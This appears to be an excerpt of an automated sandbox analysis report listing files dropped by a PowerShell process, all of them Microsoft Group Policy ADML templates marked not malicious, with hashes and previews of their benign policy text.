Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="10.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WJ" namespace="Microsoft.Policies.WorkplaceJoin" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WorkplaceJoin" displayName="$(string.WJ_WorkplaceJoinCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="WJ_AutoJoin" class="Machine" displayName="$(string.WJ_AutoJoin)" explainText="$(string.WJ_AutoJoinExplain)" key="Software\Policies\Microsoft\Windows\WorkplaceJoin" valueName="autoWorkplaceJoin">.. <parentCategory ref="Workp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ActiveXInstallService.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (403), with CRLF line terminators
Category:	dropped
Size (bytes):	5601
Entropy (8bit):	4.777090038504722
Encrypted:	false
SSDEEP:	48:cgeD5x8gm0fUsPXKn5o3OqALPLFS31U87GUkNAsGNuiYzXmoOX1mTXoWlIGe0FsC:LeD5pmKeC3G8SsuiYR1Pl7e0V4zZpBsV
MD5:	46876B1E6C8BA1FBF3ABC838CCF809B0
SHA1:	45CE70EDD0CA87A5920D43385066087DF134E30F
SHA-256:	F49428CABB6F6671D95EF214133100C268D2AB04DBF0F095DD08B0105ED9D8A7
SHA-512:	702C319B2D181753BE99D99C3DFF9F6C578934067C89A614E9E4B0A5DA6A0FB3545A3BA4986E12E9DA5DE8C6AF56780982D181A8D949A6E573AF725E2505DECA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>ActiveX Installer Service</displayName>.. <description>Installs ActiveX controls from approved installation sites</description>.. <resources>.. <stringTable>.. <string id="AxInstSv">ActiveX Installer Service</string>.. <string id="AxISURLZonePolicies">Establish ActiveX installation policy for sites in Trusted zones</string> .. <string id="AxISURLZonePolicies_explain">This policy setting controls the installation of ActiveX controls for sites in Trusted zone. ....If you enable this policy setting, ActiveX controls are installed according to the settings defined by this policy setting. .. ..If you disable or do not configure t

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AddRemovePrograms.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (496), with CRLF line terminators
Category:	dropped
Size (bytes):	10736
Entropy (8bit):	4.664813059485856
Encrypted:	false
SSDEEP:	192:Eyvs59wT2mCtKNSMRdMi4LBDZDHZEzT+ygx5LDkFdzj9nWyihWhqeGzpbeEKJ28m:ZvyiCDdyTO54zj9na8hqe6pbeEK5jq
MD5:	DFE20A0CA8674D6EAEA280C139E2688A
SHA1:	97027B92D40F5029FF296A9EA3105B775B50C209
SHA-256:	C97CD236F8BE2B235685D3D16632482839208604DB3F550F9524EAFDA33B9CA9
SHA-512:	120C45BD17045B6F3D4A9295E1888D81FFA99ED0F1D146AA2EEC387C1187EEF8C718179771BC0CDBE01A37A487D933F55C92F6F37954F392F007CBFAA2AEC877
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Arp">Add or Remove Programs</string>.. <string id="DefaultCategory">Specify default category for Add New Programs</string>.. <string id="DefaultCategory_Help">Specifies the category of programs that appears when users open the "Add New Programs" page.....If you enable this setting, only the programs in the category you specify are displayed when the "Add New Programs" page opens. Users can use the Category box on the "Add New Programs" page to display programs in other categories.....To use this setting,

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	10119
Entropy (8bit):	4.722381803392372
Encrypted:	false
SSDEEP:	192:EsMVhCuGKXl6hIAtZUqxw66Utw0Uvk3EUN2X/TDcvEn:J/uX6GAjj6mcvk3EUN2XXcvQ
MD5:	93C28840D18ED15AF63308926F5AAC66
SHA1:	5ED7A8056F1E8A68FEA17C6EF81B695DF8A3EA70
SHA-256:	0AC43A8DF0E8795968C0F9B6ECC6FBF620B761C128545AD689EEC5DFF21F5F1D
SHA-512:	653B9905DC0BBDE62F06EFA1C613F4E4A0823331D31D396DB0226FDB41A9AD4D148C1B5DABFA0CA64A74156F5AD446428F3344FFE75828A7C8225D3F0D214758
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppCompat">Application Compatibility</string>.. <string id="AppCompat_Prevent16BitMach_Help">Specifies whether to prevent the MS-DOS subsystem (ntvdm.exe) from running on this computer. This setting affects the launching of 16-bit applications in the operating system.....You can use this setting to turn off the MS-DOS subsystem, which will reduce resource usage and prevent users from running 16-bit applications. To run any 16-bit application or any application with 16-bit components, ntvdm.exe must be allowed

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppXRuntime.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (394), with CRLF line terminators
Category:	dropped
Size (bytes):	4462
Entropy (8bit):	4.744620806615911
Encrypted:	false
SSDEEP:	96:jJpm5IJUVaBfgHt6kNEmB+kClbNpbj03V:Xc3AIHF20F
MD5:	BF19DB2E91EDEFE517515BA23B30103E
SHA1:	324D98B315D7F8E096D8D61505610706D0C73856
SHA-256:	42778994D23CDB74C446E70C30942991E89DF6AACC1225AEBB05464D69DA6DEC
SHA-512:	9C193CD9597F90913643CDD2079E36930E60B6AB539D96BA0D5DA7EA2B5DDE0B78D7451D0A4AC37CBBB8A90C548285FBF640099EDA949665E186586D893ADB14
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>App runtime</displayName>.. <description>App runtime policies</description>.. <resources>.. <stringTable>.. <string id="AppxRuntime">App runtime</string>.. <string id="AppxRuntime_Help">Contains settings to manage the behavior of Windows Store apps.</string>.. <string id="AppxRuntimeBlockFileElevation">Block launching desktop apps associated with a file.</string>.. <string id="AppxRuntimeBlockFileElevationExplanation">This policy setting lets you control whether Windows Store apps can open files using the default desktop app for a file type. Because desktop apps run at a higher integrity level than Windows Store apps

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppxPackageManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3093
Entropy (8bit):	4.7903363478779735
Encrypted:	false
SSDEEP:	48:c0Jx8gm9JcfSB2W27u0jX9X/f4kvqGbRG4QXzgtWFV:jJpm9Jc62Dv5bRjWFV
MD5:	B182F0B429A84D7E97C3D50EADF154A5
SHA1:	87DDA04EDCFE5E6C22F0224D9EE8375E0920B7F6
SHA-256:	5CD8B222AECBDEAC3DF2DE6B774AF7E02988981136F6E5E9CD3D12735C6A6416
SHA-512:	C42670FA053734C1B909FBB1AE189D4ACF72B290679C1564D78276022BDF0AFD279558C608F00953325E5AEE47EB93DF35C5AFDBB29F698E5C8F808610DB5055
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. displayName and description are not used. Not supported by current Group Policy tools. -->.. <displayName>Appx Package Manager</displayName> .. <description>Appx Package Manager</description>.. <resources>.. <stringTable>.. <string id="AppxDeployment">App Package Deployment</string>.. <string id="AppxDeploymentAllowAllTrustedApps">Allow all trusted apps to install</string>.. <string id="AppxDeploymentAllowAllTrustedAppsExplanation">This policy setting allows you to manage the installation of trusted line-of-business (LOB) Windows Store apps.....If you enable this policy setting, you can install any LOB Windows Store app (which m

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AttachmentManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (564), with CRLF line terminators
Category:	dropped
Size (bytes):	9845
Entropy (8bit):	4.7103779388766025
Encrypted:	false
SSDEEP:	96:LeD5pmiPXXvXd0GkXgueX0dX0LhTW9jS+9FMDPaSPL9DVH60XZgn9ZE60Y2IHm0s:EZHvmQ/WXtyPHPLuV3HmEPdHK
MD5:	156ADEBCA5CD43E0D849F921B26594C3
SHA1:	0DCDA3A3C5CDB824D7FAE9FD2D52638DE6BAC841
SHA-256:	6974AEBDCB65AB63DECD224D3C060F0AFCA11E00C781657EAD44F64073094BF8
SHA-512:	32DC4890719AAEBC7CB5A088EF7C4FD7A86207C36E76C0FA60584E3DF0687C2DF297CBF82750885BCD42542700BD0D14011D57D9CED9FC32E582F70061C68013
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AM_AM">Attachment Manager</string>.. <string id="AM_CallIOfficeAntiVirus">Notify antivirus programs when opening attachments</string>.. <string id="AM_EstimateFileHandlerRisk">Trust logic for file attachments</string>.. <string id="AM_ExplainCallIOfficeAntiVirus">This policy setting allows you to manage the behavior for notifying registered antivirus programs. If multiple programs are registered, they will all be notified. If the registered antivirus program already performs on-access checks or scans

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AuditSettings.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	4.78689414618934
Encrypted:	false
SSDEEP:	48:cgeD5x8gmsYLytG4rpdfUMo5mvS3bHpWdPV:LeD5pmvWvp+5wwWNV
MD5:	71075FCE08402095AEAFBE57962A1F5B
SHA1:	F76FAE255AA5454217FE973C4A8035EC9005B923
SHA-256:	6928FAAD9624BBF4C74F6C138496A4C6AE8D04919C3DE9591568300C1DD39E59
SHA-512:	9DF7480E584B16D1B504E2503B3C4C8422EFC2FA37D9A4ACEB8A7AEA0561C0D73E8E73CB21FEA20C6EC3BBBCB715C155EFDA7B8E38B7B448BCDA5DB10D773DE4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Audit Process Creation</displayName>.. <description>Configuration settings for auditing process creation.</description>.. <resources>.. <stringTable>.. <string id="AuditSettings">Audit Process Creation</string>.. <string id="IncludeCmdLine">Include command line in process creation events</string>.. <string id="IncludeCmdLine_explain">This policy setting determines what information is logged in security audit events when a new process has been created.....This setting only applies when the Audit Process Creation policy is enabled. If you enable this policy setting the command line information for every process will be logged in plain tex

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AutoPlay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4884
Entropy (8bit):	4.732776627339853
Encrypted:	false
SSDEEP:	96:LeD5pmCRsKp7RqiPKhB3a1jejcM64iVDJaqV:ELRRp74a1AbodJ7
MD5:	935C602DAD3F4335BD16C269E66DBFAA
SHA1:	3DF4DC6D55AF20F0593D807FB4FDEFB23CC3355A
SHA-256:	8773998440C8D534FA69833174D05D09088F07E6E5C0E41D7C04A229C7903879
SHA-512:	05ABFFC0CE836F7438BC711A9D2B5CEB8F3F1C48BE2AC9C1A91D286AED6FC4C8D740AE802DCD2CC65D066972DC8DAA84AD8A10FA775D66CB5F3DE34688D975EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoPlay">AutoPlay Policies</string>.. <string id="AutoPlay_Help">Configure various AutoPlay behaviors.</string>.. <string id="NoAutorun">Set the default behavior for AutoRun</string>.. <string id="NoAutorun_Help">This policy setting sets the default behavior for Autorun commands..... Autorun commands are generally stored in autorun.inf files. They often launch the installation program or other routines..... Prior to Windows Vista, when media containing an autorun command is inserte

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Biometrics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	4309
Entropy (8bit):	4.706598922443907
Encrypted:	false
SSDEEP:	96:oD5pmJFp5A8M9DIn0C3ppMdiD+BukevPCRTqCV:+Mp5lM9M3ppUiC2vPClP
MD5:	C32F834C78DC4DB3C12084AB5115E4A5
SHA1:	BE211306E8BA801EDD43E68E28F98947354A35BC
SHA-256:	4222D7C39B72F570C01F76EE084278BD32619D039F197A1AAE0B508C4E2CAF32
SHA-512:	2551575C490A8B4C36FD0E44B4E7C27693DF94C74715BC0F242BE2F947AE2AF097D574AC1823F3ACC71E8D69C17D6257192AAB1255B25C3122F4196C10B9F674
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Biometrics Configuration Settings</displayName>.. <description>Biometrics Configuration Settings</description>.. <resources>.. <stringTable>.. <string id="BiometricsConfiguration">Biometrics</string>.. <string id="Biometrics_EnableBio">Allow the use of biometrics</string>.. <string id="Biometrics_EnableBio_Help">This policy setting allows or prevents the Windows Biometric Service to run on this computer... ..If you enable or do not configure this policy setting, the Windows Biometric Service is available, and users can run applications that use biometrics on Windows. If you want to enable the ability to log on with biometrics, yo

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Bits.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (534), with CRLF line terminators
Category:	dropped
Size (bytes):	32159
Entropy (8bit):	4.887654356231583
Encrypted:	false
SSDEEP:	768:Uw9+2pWqx80t3lMsQAZ5nV7smu7CQ62TDw4p2L:H+2Lx8Q3lLB+wx
MD5:	F6E746CD330A73B928C14770D9645BD0
SHA1:	7EDED72EB36035A93AF3943B6F5F330082307968
SHA-256:	80D730B14BBB66B29360C108C8A57E09AA33E57DC1C9EAFFCAD5D66B3EF98C31
SHA-512:	6295E9062941DAEDCF4BF3E5BEBA03010AFDE880F43E95052DBCE3FDB485C92C73B0CB57E9374F691C79FA43044CFCBBDB92CDE189E1C3AFF90024B19B525F1E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Supported Platforms -->.. <string id="SUPPORTED_WindowsXPSP2WindowsNETSP1orBITS20">Windows XP SP2 or Windows Server 2003 SP1, or computers with BITS 2.0 installed.</string>.. <string id="SUPPORTED_WindowsXPWindowsNETorBITS15">Windows XP or Windows Server 2003, or computers with BITS 1.5 installed.</string>.. <string id="SUPPORTED_Windows7OrBITS35">Windows 7 or computers with BITS 3.5 installed.</string>.. <string id="SUPPORTED_Windows8OrBITS5">Windows 8 or Windows Server 2012 or Windows RT or computers

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CEIPEnable.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	4.91759301234844
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yMPs9IsKiz+d9Wz+fWz+MJe4UNr2ce4u5qHLuB1XR0r:cgeD5x8gm8fKfiI9W+WwUzqG1XGPV
MD5:	CB1E5DCF00DD4AA26834F7F02EA4AA0E
SHA1:	EAEBB6A75FE6AEEC3AFE914DF9DAD9BCB08702C1
SHA-256:	7651F59A99180721F39B02391BB51D382B39DBCD15E3E2245B10778B7A8A5D95
SHA-512:	BC84BD30E99735495803360F061088334736CAF9D7AE1C5FAD9C484D949991F09C59D6FB818DE35F6328E94FEDD63C2C6D80D63ACDF616BF936762CBF656AE3A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WindowsCEIPCat">Windows Customer Experience Improvement Program</string>.. <string id="CorporateSQM">Allow Corporate redirection of Customer Experience Improvement uploads</string>.. <string id="CorporateSQMExp">If you enable this setting all Customer Experience Improvement Program uploads are redirected to Microsoft Operations Manager server.....If you disable this setting uploads are not redirected to a Microsoft Operations Manager server.....If you do not configure this setting uploads are not redirect

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\COM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.895822032017801
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yr7g9f8rbcFCv/9g4+4R4ldQ8o9+YPb+aDDWFV:cgeD5x8gm8fKN2fcFC2u47QxQ3aDDWFV
MD5:	33757EAC0441251ACE18BD74FF8E2BD0
SHA1:	B9DBC0B240CF803AFACB5D8D9AD26E39B757B04B
SHA-256:	44FA3B1E818EF70305AD41012D78CF140851EC0949D4F2457F60C295E31C8EDC
SHA-512:	5FB7BD40C37EAB269C7E9CF72EFB29D6A6A2EF76DB29DADD628866143A15FCEE46C865BE54C66D7C6ADE13766FF1A3028912BDF8BE05F1A6CD69D254431180C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppMgmt_COM_SearchForCLSID">Download missing COM components</string>.. <string id="AppMgmt_COM_SearchForCLSID_Help">This policy setting directs the system to search Active Directory for missing Component Object Model (COM) components that a program requires.....Many Windows programs, such as the MMC snap-ins, use the interfaces provided by the COM components. These programs cannot perform all their functions unless Windows has internally registered the required components.....If you enable this policy setting

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CipherSuiteOrder.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1488), with CRLF line terminators
Category:	dropped
Size (bytes):	6011
Entropy (8bit):	5.030765177000099
Encrypted:	false
SSDEEP:	96:LeD5pmTKr0l1CSYNTV5vDiUFO3q6fWbKldN6joV:EqMRbaW+HN6c
MD5:	F7E00A4ABE6853A853D65FB722604674
SHA1:	9CFD9B20C60FB7024F91A7902D84182081427D7F
SHA-256:	4E01B6A54C1B3933D33645729AF7F69E50D687C37DB985A924917E6F8ACAB15B
SHA-512:	2ADAC9CDA13B12F0C2B2F7E9C9B943B50BE9A217FB32B486F783A5D842A820F2F2928E5336DE6E4FCA4B5CD9FC4F2D7FAA09F6C8285550CA7B3BD19E0CE4CA8B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SSLConfiguration">SSL Configuration Settings</string>.. <string id="SSLCipherSuiteOrder">SSL Cipher Suite Order</string>.. <string id="SSLCipherSuiteOrder_Help">This policy setting determines the cipher suites used by the Secure Socket Layer (SSL)..... If you enable this policy setting, SSL cipher suites are prioritized in the order specified..... If you disable or do not configure this policy setting, the factory default cipher suite order is used..... SSL2, SSL3, TLS 1.0 and T

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Conf.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10980
Entropy (8bit):	4.778547657476326
Encrypted:	false
SSDEEP:	96:LeD5pmrrC2ZHEU5p5a4LH/+3SenetLKZHtpeL3DKTGbpKPKryy6JI5oyvr5UV:ESrC2RlFagcSenetKZHtOzrKPKrB5xj+
MD5:	797657FCFBC025F92F896B0095D1F6E4
SHA1:	F357F8B9A9671F711EAE5BEB7759A2EF73B953E9
SHA-256:	032F6BB5FBA082CA24EA70F6CBDC25E913FD43B68A44582AB30AEB29509FC2ED
SHA-512:	9C90FEE9737A7F66CD50B43C30A2BA05DC861A76618612DC744F7075D3296DDE577589060D3CC5779E44CA14ADD42502420DCDF9A68825817795FC89418847DD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowPersistAutoAcceptCalls">Allow persisting automatic acceptance of Calls</string>.. <string id="AllowPersistAutoAcceptCalls_Help">Make the automatic acceptance of incoming calls persistent.</string>.. <string id="AppSharing">Application Sharing</string>.. <string id="AudioVideo">Audio & Video</string>.. <string id="DisableAdvCallingButton">Disable the Advanced Calling button</string>.. <string id="DisableAdvCallingButton_Help">Disables the Advanced Calling button on the General Optio

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ControlPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (545), with CRLF line terminators
Category:	dropped
Size (bytes):	6210
Entropy (8bit):	4.659729688008146
Encrypted:	false
SSDEEP:	96:LeD5pm0xrbTb9qSrboXpqjKq+F6TzGQ5wtt1cvWebgbPWLSrbTpKb9LbpqjKm+xN:EXx19axpuN52t16W7WW7p4Xxt49tY
MD5:	02F20EFB8F224DE1BECE4FA4FADF1442
SHA1:	16091D04A7A93CC21A3935841D1F30C643C2A782
SHA-256:	2D07C5B7079ED696AA73A4806A1B1FEB2863B6A579033EF1F0A10E3D5D5E5FBC
SHA-512:	D7239C57FA747F36C770D68BBDF31354A9C53D7A7AA3530CE7367FE612CE04B903142CDBBFCBAC11098D47E00D58B0C6620EF18CE324AD9933CBEB0FB5B6D15D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisallowCpls">Hide specified Control Panel items</string>.. <string id="DisallowCpls_Help">This setting allows you to display or hide specified Control Panel items, such as Mouse, System, or Personalization, from the Control Panel window and the Start screen. The setting affects the Start screen and Control Panel window, as well as other ways to access Control Panel items, such as shortcuts in Help and Support or command lines that use control.exe. This policy has no effect on items displayed in PC settings...

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ControlPanelDisplay.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (334), with CRLF line terminators
Category:	dropped
Size (bytes):	21011
Entropy (8bit):	4.7324938774717955
Encrypted:	false
SSDEEP:	384:VfRyKGkSDgF+vXDtchtrWzsbHX92eLb2vB1E4RRN9:VfRXTCrvXDWrWziN2ZvB1fRX
MD5:	61CB7046C23A14515C58521DAD36AB6F
SHA1:	62EC7A88975656944FD8CA72924A916336112465
SHA-256:	A4F9A17502E8ABA9E82C5C324CBED40E109A565CA2E27B3D79389F1A595B3CCD
SHA-512:	13473DEADE6477440D9515C9FC6BABECDB59FE9A806633B003B14E71EC6E762DD9E13A9BFD1DFED554D7CA6A664B3C1EF0CEB7C8278F22CC0E0EEB793E697C1F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Display">Display</string>.. <string id="CPL_Display_Disable">Disable the Display Control Panel</string>.. <string id="CPL_Display_Disable_Help">Disables the Display Control Panel.....If you enable this setting, the Display Control Panel does not run. When users try to start Display, a message appears explaining that a setting prevents the action.....Also, see the "Prohibit access to the Control Panel" (User Configuration\Administrative Templates\Control Panel) and "Remove programs on Settings menu" (User Configuration\Administrative Templates\Star

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Cpls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	4.924174965870825
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEBWNvHjWy8XGkjR7S2kjeRqZ+RguJb+RguJM6dGQEn:cgeD5x8gm8fKlBWN7WyeOuJ3uJv3EFV
MD5:	3A236D3ED9A6EAE336DE47BD71132D58
SHA1:	621C59891B91951F2E863EEFEA2D8310FB5125E3
SHA-256:	EF075F5436A4117C29F2D6689A8ED6ACC3BA22EAFBDEEA20C2349DBA5CFE1F33
SHA-512:	862AABB60EFFAC016188CF56BB6EC48F7E4F6847B4A1A4A525C1FD93DAA0269E0CB02DC8362F5B3029F817D1096B8C5BB48FA1717FE4084E2A99CDE13A3CE573
Malicious:	false
